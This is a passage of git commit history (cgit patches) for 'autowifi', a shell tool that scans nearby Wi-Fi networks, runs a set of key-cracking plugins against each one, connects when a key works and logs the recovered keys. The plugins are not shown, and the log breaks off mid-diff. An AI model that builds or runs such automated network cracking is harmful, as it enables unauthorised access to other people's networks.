\${WPA_${i}} \${WPA2_${i}} + eval crack_wifi "\${ESSID_${i}}" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} done } -- cgit v1.2.3 From cdb4bf2e4370757325452b70ade06aed79a643d5 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:24:00 +0200 Subject: more encryption fixing --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 73d5db18..fcb5b59c 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -78,7 +78,7 @@ crack_wifi(){ elif [ "$5" -eq 1 ]; then encr=psk elif [ "$6" -eq 1 ]; then - encr=wep + encr=psk2 elif [ "$4" == on ]; then encr=wep fi -- cgit v1.2.3 From 2bafe012acd61e90a4a3481f004a71a0378506c1 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:25:38 +0200 Subject: more comments --- usr/bin/autowifi | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index fcb5b59c..46a3b7f9 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -73,12 +73,13 @@ iwlist_scan(){ done; print_iwlist_env ;echo WIFI_COUNT=$count) } crack_wifi(){ + #SSID MAC CHANNEL ENCRYPTION WPA WPA2 if [ "$4" == off ];then encr=open - elif [ "$5" -eq 1 ]; then - encr=psk elif [ "$6" -eq 1 ]; then encr=psk2 + elif [ "$5" -eq 1 ]; then + encr=psk elif [ "$4" == on ]; then encr=wep fi -- cgit v1.2.3 From 729eb44eca98c772c0def8a1cd41fa52763d0663 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 17:30:02 +0200 Subject: shorter wait, fixed loop --- usr/bin/autowifi | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 46a3b7f9..8c5a0101 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -88,7 +88,7 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" - sleep 20 + sleep 5 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys @@ -97,6 +97,7 @@ crack_wifi(){ fi fi done + return 1 } check_gateway(){ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') @@ -108,7 +109,7 @@ loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue - eval crack_wifi "\${ESSID_${i}}" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} + eval crack_wifi "\${ESSID_${i}}" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break done } -- cgit v1.2.3 From f363bacc47fbf1899f62e01741a72ae015c41e09 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 19:08:30 +0200 Subject: better internet check --- usr/bin/autowifi | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 8c5a0101..28560797 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -103,7 +103,12 @@ check_gateway(){ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') } check_internet(){ - wget -O- --spider http://google.de/index.html + secret=$(wget -O- http://euer.krebsco.de/secret) + if [ "$secret" == "1337" ]; then + return 0 + else + return 1 + fi } loop_over_networks(){ . /tmp/${wifi}.scan -- cgit v1.2.3 From aaee76eac5435db5a9bf0d80224bd7eb9d648c03 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 19:12:05 +0200 Subject: sleep from 5 to 10 --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 28560797..891e8938 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -88,7 +88,7 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" - sleep 5 + sleep 10 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys -- cgit v1.2.3 From d1512e39e5d847fe5c51bb085213bde6913dedc8 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 22:04:56 +0200 Subject: autoconnect now with led-managment, profile fixed --- usr/bin/autowifi | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 891e8938..a960bf01 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -74,6 +74,7 @@ iwlist_scan(){ } crack_wifi(){ #SSID MAC CHANNEL ENCRYPTION WPA WPA2 + all_led timer if [ "$4" == off ];then encr=open elif [ "$6" -eq 1 ]; then @@ -88,12 +89,12 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" - sleep 10 + sleep 30 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys echo "yay gateway" - check_internet && return 0 + check_internet && all_led none && return 0 fi fi done @@ -123,6 +124,7 @@ loop_over_networks while sleep 60; do if ! check_internet; then + all_led default-on iwlist_scan > /tmp/${wifi}.scan loop_over_networks fi -- cgit v1.2.3 From 9e5ca86134a61e1d953bb5a8f438f589df414347 Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 25 May 2013 01:02:53 +0200 Subject: shorter sleep --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index a960bf01..62ae2838 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -89,7 +89,7 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" - sleep 30 + sleep 5 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys -- cgit v1.2.3 From 773191cb6d6d0f886b8a2e65f1524e66152bb30f Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 25 May 2013 01:06:53 +0200 Subject: temp: 60s wait after check_gateway --- usr/bin/autowifi | 1 + 1 file changed, 1 insertion(+) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 62ae2838..bcc8f031 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -94,6 +94,7 @@ crack_wifi(){ (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys echo "yay gateway" + sleep 60 check_internet && all_led none && return 0 fi fi -- cgit v1.2.3 From 814c39b547212fc3e6be83a9ad749407e7cf4245 Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 25 May 2013 01:08:09 +0200 Subject: temp: changed check_internet to check_gateway --- usr/bin/autowifi | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index bcc8f031..28b24808 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -94,8 +94,7 @@ crack_wifi(){ (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys echo "yay gateway" - sleep 60 - check_internet && all_led none && return 0 + check_gateway && all_led none && return 0 fi fi done -- cgit v1.2.3 From ed73fba46289f4af60422b2d267ba40834ca97ca Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 25 May 2013 20:50:49 +0200 Subject: add plugins folder --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 28b24808..24ffb461 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -84,7 +84,7 @@ crack_wifi(){ elif [ "$4" == on ]; then encr=wep fi - for hack in $(find /usr/lib/autowifi/ -type f); do + for hack in $(find /usr/lib/autowifi/plugins -type f); do key=$($hack "$@"); ret=$? if [ $ret -eq 0 ];then -- cgit v1.2.3 From 4fa3206a16921d0a7984b0dcd5ca9086786a31cf Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 25 May 2013 22:48:24 +0200 Subject: refactor functions for reusability --- usr/bin/autowifi | 88 +++++++------------------------------------------------- 1 file changed, 11 insertions(+), 77 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 24ffb461..7b92eb9b 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -1,77 +1,22 @@ #!/bin/sh -x +# States (LED): +# Blinking - running wifi plugins +# Turned off - connected to wifi +# Turned on - waiting for next scan round + wifi=wlan0 iface=@wifi-iface[0] radio=$(uci get wireless.${iface}.device) -connect_wifi(){ - # channel ssid encryption key - uci set wireless.${iface}.mode=sta - ifconfig $wifi up - uci set wireless.${radio}.channel=$1 - uci set "wireless.${iface}.ssid=$2" - if [ $3 == "none" ] ; then - uci set wireless.${iface}.encryption=none - uci -q delete wireless.${iface}.key - else - uci set "wireless.${iface}.key=$4" - uci set wireless.${iface}.encryption=$3 - fi - uci commit wireless - wifi up -} +# for connect_wifi +. /usr/lib/autowifi/lib/openwrt -print_iwlist_env(){ - # takes environment: - # count - # MAC - # CHANNEL - # QUALITY - # ENCRYPTION - # ESSID - # WPA - # WPA2 - for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do - eval echo ${i}_${count}=\$${i} - done -} +# for iwlist_scan +. /usr/lib/autowifi/lib/iwlist -iwlist_scan(){ - ifconfig $wifi up +# for check_internet and check_gateway +. /usr/lib/autowifi/lib/network - count=0 - - iwlist scan ${1:-} 2>/dev/null | ( while read line; - do - case "$line" in - *"Cell "*) - [ $count -eq 0 ] || print_iwlist_env - WPA=0 - WPA2=0 - : $((count+=1)) - MAC="${line#*Address: }" - ;; - *Channel:*) - CHANNEL="${line#*:}" - ;; - *Quality=*) - QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" - ;; - *"Encryption key:"*) - ENCRYPTION="${line#*key:}" - ;; - *ESSID:*) - ESSID="${line#*ESSID:}" - ;; - *"IE: IEEE 802.11i/WPA2"*) - WPA2=1 - ;; - *"IE: WPA Version 1"*) - WPA=1 - ;; - *);; - esac - done; print_iwlist_env ;echo WIFI_COUNT=$count) -} crack_wifi(){ #SSID MAC CHANNEL ENCRYPTION WPA WPA2 all_led timer @@ -100,17 +45,6 @@ crack_wifi(){ done return 1 } -check_gateway(){ - ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') -} -check_internet(){ - secret=$(wget -O- http://euer.krebsco.de/secret) - if [ "$secret" == "1337" ]; then - return 0 - else - return 1 - fi -} loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do -- cgit v1.2.3 From 505fb72b7b9e061e48c90ce35fa317e2a3b55437 Mon Sep 17 00:00:00 2001 From: lassulus Date: Sat, 25 May 2013 23:18:12 +0200 Subject: more timout, check_internet now, led command changed --- usr/bin/autowifi | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 7b92eb9b..f5a177a0 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -34,12 +34,12 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" - sleep 5 + sleep 20 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys echo "yay gateway" - check_gateway && all_led none && return 0 + check_internet && all_led none && return 0 fi fi done @@ -58,7 +58,7 @@ loop_over_networks while sleep 60; do if ! check_internet; then - all_led default-on + all_led on iwlist_scan > /tmp/${wifi}.scan loop_over_networks fi -- cgit v1.2.3 From b292dfe3dea7affa29e526c1328613f6e5ca8ed4 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:37:39 +0200 Subject: move default_wps to back --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index f5a177a0..55eaefcd 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -49,7 +49,7 @@ loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue - eval crack_wifi "\${ESSID_${i}}" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break + eval crack_wifi \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break done } -- cgit v1.2.3 From 7d8f7c4c3c7f592191bf61fbddeb3996c58dcba3 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:39:27 +0200 Subject: add autowifi_dryrun usage: root=../../ ./autowifi_dryrun --- usr/bin/autowifi_dryrun | 52 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100755 usr/bin/autowifi_dryrun (limited to 'usr/bin') diff --git a/usr/bin/autowifi_dryrun b/usr/bin/autowifi_dryrun new file mode 100755 index 00000000..1795269a --- /dev/null +++ b/usr/bin/autowifi_dryrun @@ -0,0 +1,52 @@ +#!/bin/sh +# ENV: +# the root directory (e.g. root=$PWD/../../ if run from here ) +root=${root:-/} +wifi=${wifi:-wlan0} + +test "${1:-}" = 'quiet' && exec 2>&- + +# for iwlist_scan +. $root/usr/lib/autowifi/lib/iwlist + +# . $ROOT/usr/lib/autowifi/lib/ + +# for check_internet and check_gateway +# . /usr/lib/autowifi/lib/network + +crack_wifi(){ + #SSID MAC CHANNEL ENCRYPTION WPA WPA2 + if [ "$4" == off ];then + encr=open + elif [ "$6" -eq 1 ]; then + encr=psk2 + elif [ "$5" -eq 1 ]; then + encr=psk + elif [ "$4" == on ]; then + encr=wep + fi + ALL_RET=1 + for hack in $(find $root/usr/lib/autowifi/plugins -type f | sort -n); do + printf "%s" "Trying $(basename $hack) against $1 : " >&2 + key=$($hack "$@"); + ret=$? + if [ $ret -eq 0 ];then + echo "success!" >&2 + echo $1:$2:$encr:$key + ALL_RET=0 + else + echo "fail ..." >&2 + fi + done + return $ALL_RET +} +loop_over_networks(){ + . /tmp/${wifi}.scan + echo "SSID:MAC:CHANNEL:ENCRYPTION:key" + for i in `seq 1 $WIFI_COUNT`; do + eval crack_wifi \"\${ESSID_${i}}\" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} + done +} + +iwlist_scan > /tmp/${wifi}.scan +loop_over_networks -- cgit v1.2.3 From e9ce68a6f2978a09e01ca14f0d767645d94af9da Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 18:48:37 +0200 Subject: fix delimiter --- usr/bin/autowifi_dryrun | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi_dryrun b/usr/bin/autowifi_dryrun index 1795269a..1df94119 100755 --- a/usr/bin/autowifi_dryrun +++ b/usr/bin/autowifi_dryrun @@ -1,6 +1,7 @@ #!/bin/sh # ENV: # the root directory (e.g. root=$PWD/../../ if run from here ) +cd $(dirname $(readlink -f $0)) root=${root:-/} wifi=${wifi:-wlan0} @@ -32,7 +33,7 @@ crack_wifi(){ ret=$? if [ $ret -eq 0 ];then echo "success!" >&2 - echo $1:$2:$encr:$key + echo $1|$2|$encr|$key ALL_RET=0 else echo "fail ..." >&2 -- cgit v1.2.3 From 20b1c6c2158fb12b6422c170d4a2a0f402864308 Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 20:30:41 +0200 Subject: finish refactoring new wpa_supplicant autowifi --- usr/bin/autowifi | 197 +++++++++++++++++++++++++++++++++++++-------------- usr/bin/autowifi_old | 65 +++++++++++++++++ 2 files changed, 208 insertions(+), 54 deletions(-) mode change 100755 => 100644 usr/bin/autowifi create mode 100755 usr/bin/autowifi_old (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi old mode 100755 new mode 100644 index 55eaefcd..792c78b8 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -1,65 +1,154 @@ #!/bin/sh -x -# States (LED): -# Blinking - running wifi plugins -# Turned off - connected to wifi -# Turned on - waiting for next scan round - -wifi=wlan0 -iface=@wifi-iface[0] -radio=$(uci get wireless.${iface}.device) - -# for connect_wifi -. /usr/lib/autowifi/lib/openwrt - -# for iwlist_scan -. /usr/lib/autowifi/lib/iwlist - -# for check_internet and check_gateway -. /usr/lib/autowifi/lib/network - -crack_wifi(){ - #SSID MAC CHANNEL ENCRYPTION WPA WPA2 - all_led timer - if [ "$4" == off ];then - encr=open - elif [ "$6" -eq 1 ]; then - encr=psk2 - elif [ "$5" -eq 1 ]; then - encr=psk - elif [ "$4" == on ]; then - encr=wep +cd $(dirname $(readlink -f $0)) + + +interface=${interface:-wlan0} +root=${root:-../../} +crackdir=$root/usr/lib/autowifi/plugins +wifi_keys=$root/etc/autowifi/wifi_keys + +# exists() run_hooks() +. $root/usr/lib/autowifi/lib/core + + +. $root/usr/lib/autowifi/lib/network + +# start_wpa_supplicant() +. $root/usr/lib/autowifi/lib/wpa_supplicant + + + +connect(){ + #mac ssid encryption key + + run_hooks interface pre + run_hooks profile pre + + connect_wifi "$@" + + ip_start dhcp + + if check_gateway && check_internet; then + echo yay internet >&2 + + run_hooks interface post + run_hooks profile post + + write_profile "$@" + return 0 fi - for hack in $(find /usr/lib/autowifi/plugins -type f); do - key=$($hack "$@"); - ret=$? - if [ $ret -eq 0 ];then - connect_wifi "$3" "$1" $encr "$key" - sleep 20 - if check_gateway; then - (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 - mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys - echo "yay gateway" - check_internet && all_led none && return 0 - fi + return 1 +} +write_profile(){ + bandw=$(check_bandwidth) + (cat $wifi_keys | grep -v "|$1|" ; echo "$2|$1|$bandw|$4" ) | sort | uniq > "${wifi_keys}2" + mv "${wifi_keys}2" "$wifi_keys" +} + + +find_count_of_ssid(){ + c=0 + for i in `seq 1 $WIFI_COUNT`; do + eval SSID=\${ESSID_${i}} + if [ "$SSID" = "$1" ]; then + c+=1 + echo "$i" fi done - return 1 + if [ $c -eq 0 ];then + exit 1 + fi + exit 0 +} + + +connect_to_network_by_ssid(){ + find_count_of_ssid "$1" | (while read i + do + loop_over_cracks $i + done;exit 1) + if [ $? -eq 0 ]; then + exit 0 + fi + echo "no network found :(" + exit 1 } + +connect_with_pw(){ + find_count_of_ssid "$1" | (while read i + do + KEY="$2" + eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\" + if [ $? -eq 0 ]; then + exit 0 + fi + done;exit 1) +} + loop_over_networks(){ - . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do - eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue - eval crack_wifi \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break + loop_over_cracks $i + if [ $? -eq 0 ]; then + exit 0 + fi done } -iwlist_scan > /tmp/${wifi}.scan -loop_over_networks +loop_over_cracks(){ + i=$1 + KEY='' + for crack in $(find $crackdir -type f | sort -u); do + KEY="$(eval root=$root \$crack \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${FREQ_${i}} \${ENCRYPTION_${i}})" + if [ $? -eq 0 ]; then + eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\" + if [ $? -eq 0 ]; then + return 0 + fi + fi + done + return 1 +} -while sleep 60; do - if ! check_internet; then - all_led on - iwlist_scan > /tmp/${wifi}.scan - loop_over_networks - fi -done +#scan_all(){ +# for i in `seq 1 $WIFI_COUNT`; do +# loop_over_cracks $i +# done +#} +# +#scan_unscanned(){ +# find_unscanned_networks | (while read i +# do +# loop_over_cracks $i +# done) +#} + +#find_unscanned_networks(){ +# #TODO broken +# for i in `seq 1 $WIFI_COUNT`; do +# eval SSID=\${ESSID_${i}} +# eval MAC=\${MAC_${i}} +# cat $wifi_stats 2>/dev/null | (while IFS='|' read SSID MAC BANDW KEY; do +# if [ "$1" = "$SSID" -a "$2" = "$MAC" ]; then +# continue +# fi +# done; echo $i) +# done +# exit 0 +#} + + + + +start_wpa_supplicant /tmp/autowifi.wpa_supplicant +wifi_scan > /tmp/${interface}.scan +. /tmp/${interface}.scan +if [ -n "$2" ]; then + echo connecting to $1 with pw $2 + connect_with_pw "$1" "$2" +elif [ -n "$1" ]; then + echo connecting to $1 + connect_to_network_by_ssid "$1" +else + echo looping network now + loop_over_networks +fi diff --git a/usr/bin/autowifi_old b/usr/bin/autowifi_old new file mode 100755 index 00000000..55eaefcd --- /dev/null +++ b/usr/bin/autowifi_old @@ -0,0 +1,65 @@ +#!/bin/sh -x +# States (LED): +# Blinking - running wifi plugins +# Turned off - connected to wifi +# Turned on - waiting for next scan round + +wifi=wlan0 +iface=@wifi-iface[0] +radio=$(uci get wireless.${iface}.device) + +# for connect_wifi +. /usr/lib/autowifi/lib/openwrt + +# for iwlist_scan +. /usr/lib/autowifi/lib/iwlist + +# for check_internet and check_gateway +. /usr/lib/autowifi/lib/network + +crack_wifi(){ + #SSID MAC CHANNEL ENCRYPTION WPA WPA2 + all_led timer + if [ "$4" == off ];then + encr=open + elif [ "$6" -eq 1 ]; then + encr=psk2 + elif [ "$5" -eq 1 ]; then + encr=psk + elif [ "$4" == on ]; then + encr=wep + fi + for hack in $(find /usr/lib/autowifi/plugins -type f); do + key=$($hack "$@"); + ret=$? + if [ $ret -eq 0 ];then + connect_wifi "$3" "$1" $encr "$key" + sleep 20 + if check_gateway; then + (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 + mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys + echo "yay gateway" + check_internet && all_led none && return 0 + fi + fi + done + return 1 +} +loop_over_networks(){ + . /tmp/${wifi}.scan + for i in `seq 1 $WIFI_COUNT`; do + eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue + eval crack_wifi \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break + done +} + +iwlist_scan > /tmp/${wifi}.scan +loop_over_networks + +while sleep 60; do + if ! check_internet; then + all_led on + iwlist_scan > /tmp/${wifi}.scan + loop_over_networks + fi +done -- cgit v1.2.3 From 39756bf494a8caf6864cee19a3e6c8d988e5df0e Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 20:51:10 +0200 Subject: fix banner in wifi_keys --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) mode change 100644 => 100755 usr/bin/autowifi (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi old mode 100644 new mode 100755 index 792c78b8..b8ba1482 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -41,7 +41,7 @@ connect(){ } write_profile(){ bandw=$(check_bandwidth) - (cat $wifi_keys | grep -v "|$1|" ; echo "$2|$1|$bandw|$4" ) | sort | uniq > "${wifi_keys}2" + (echo "#SSID|MAC|BANDWIDTH|KEY"; cat $wifi_keys | grep -v '^#' | grep -v "|$1|" ; echo "$2|$1|$bandw|$4" ) | sort | uniq > "${wifi_keys}2" mv "${wifi_keys}2" "$wifi_keys" } -- cgit v1.2.3 From 04457e14918e7b2a99fc2d6243f004d8452977e3 Mon Sep 17 00:00:00 2001 From: lassulus Date: Mon, 10 Jun 2013 21:02:46 +0200 Subject: now with convenient loop --- usr/bin/autowifi | 5 +++++ 1 file changed, 5 insertions(+) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index b8ba1482..f0bfd83d 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -151,4 +151,9 @@ elif [ -n "$1" ]; then else echo looping network now loop_over_networks + while sleep 60; do + if ! check_internet; then + loop_over_networks + fi + done fi -- cgit v1.2.3 From 3fa01e1d01e3235e218370f3afd3f2f2344c8b01 Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 21:10:01 +0200 Subject: write head correctly --- usr/bin/autowifi | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index f0bfd83d..19eabffd 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -6,6 +6,7 @@ interface=${interface:-wlan0} root=${root:-../../} crackdir=$root/usr/lib/autowifi/plugins wifi_keys=$root/etc/autowifi/wifi_keys +wifi_log=$root/var/log/autowifi.log # exists() run_hooks() . $root/usr/lib/autowifi/lib/core @@ -21,12 +22,12 @@ wifi_keys=$root/etc/autowifi/wifi_keys connect(){ #mac ssid encryption key - run_hooks interface pre - run_hooks profile pre + run_hooks interface pre + run_hooks profile pre - connect_wifi "$@" + connect_wifi "$@" - ip_start dhcp + ip_start dhcp if check_gateway && check_internet; then echo yay internet >&2 @@ -41,7 +42,7 @@ connect(){ } write_profile(){ bandw=$(check_bandwidth) - (echo "#SSID|MAC|BANDWIDTH|KEY"; cat $wifi_keys | grep -v '^#' | grep -v "|$1|" ; echo "$2|$1|$bandw|$4" ) | sort | uniq > "${wifi_keys}2" + ( cat $wifi_keys | grep -v '^#' | grep -v "|$1|" ; echo "$2|$1|$bandw|$4" ) | ( echo "#SSID|MAC|BANDWIDTH|KEY";sort )| uniq > "${wifi_keys}2" mv "${wifi_keys}2" "$wifi_keys" } @@ -149,8 +150,8 @@ elif [ -n "$1" ]; then echo connecting to $1 connect_to_network_by_ssid "$1" else - echo looping network now - loop_over_networks + echo looping network now + check_internet || loop_over_networks while sleep 60; do if ! check_internet; then loop_over_networks -- cgit v1.2.3 From 9f2394c6254593eac25a568f5fddb9b672f2abc4 Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 21:21:10 +0200 Subject: autowifi is now enterprise --- usr/bin/autowifi | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 19eabffd..36327a29 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -1,4 +1,4 @@ -#!/bin/sh -x +#!/bin/sh cd $(dirname $(readlink -f $0)) @@ -18,7 +18,6 @@ wifi_log=$root/var/log/autowifi.log . $root/usr/lib/autowifi/lib/wpa_supplicant - connect(){ #mac ssid encryption key @@ -87,10 +86,14 @@ connect_with_pw(){ } loop_over_networks(){ + + wpa_supplicant_is_usable || start_wpa_supplicant /tmp/autowifi.wpa_supplicant + wifi_scan > /tmp/${interface}.scan + . /tmp/${interface}.scan for i in `seq 1 $WIFI_COUNT`; do loop_over_cracks $i if [ $? -eq 0 ]; then - exit 0 + return 0 fi done } @@ -140,9 +143,6 @@ loop_over_cracks(){ -start_wpa_supplicant /tmp/autowifi.wpa_supplicant -wifi_scan > /tmp/${interface}.scan -. /tmp/${interface}.scan if [ -n "$2" ]; then echo connecting to $1 with pw $2 connect_with_pw "$1" "$2" @@ -152,6 +152,7 @@ elif [ -n "$1" ]; then else echo looping network now check_internet || loop_over_networks + while sleep 60; do if ! check_internet; then loop_over_networks -- cgit v1.2.3 From 3b5802ae97355f8e0b223648c4a6e5bb474100bb Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 21:53:50 +0200 Subject: add wifi_init, fix oneshot networks --- usr/bin/autowifi | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 36327a29..d9337cf4 100755 --- a/usr/bin/autowifi +++ 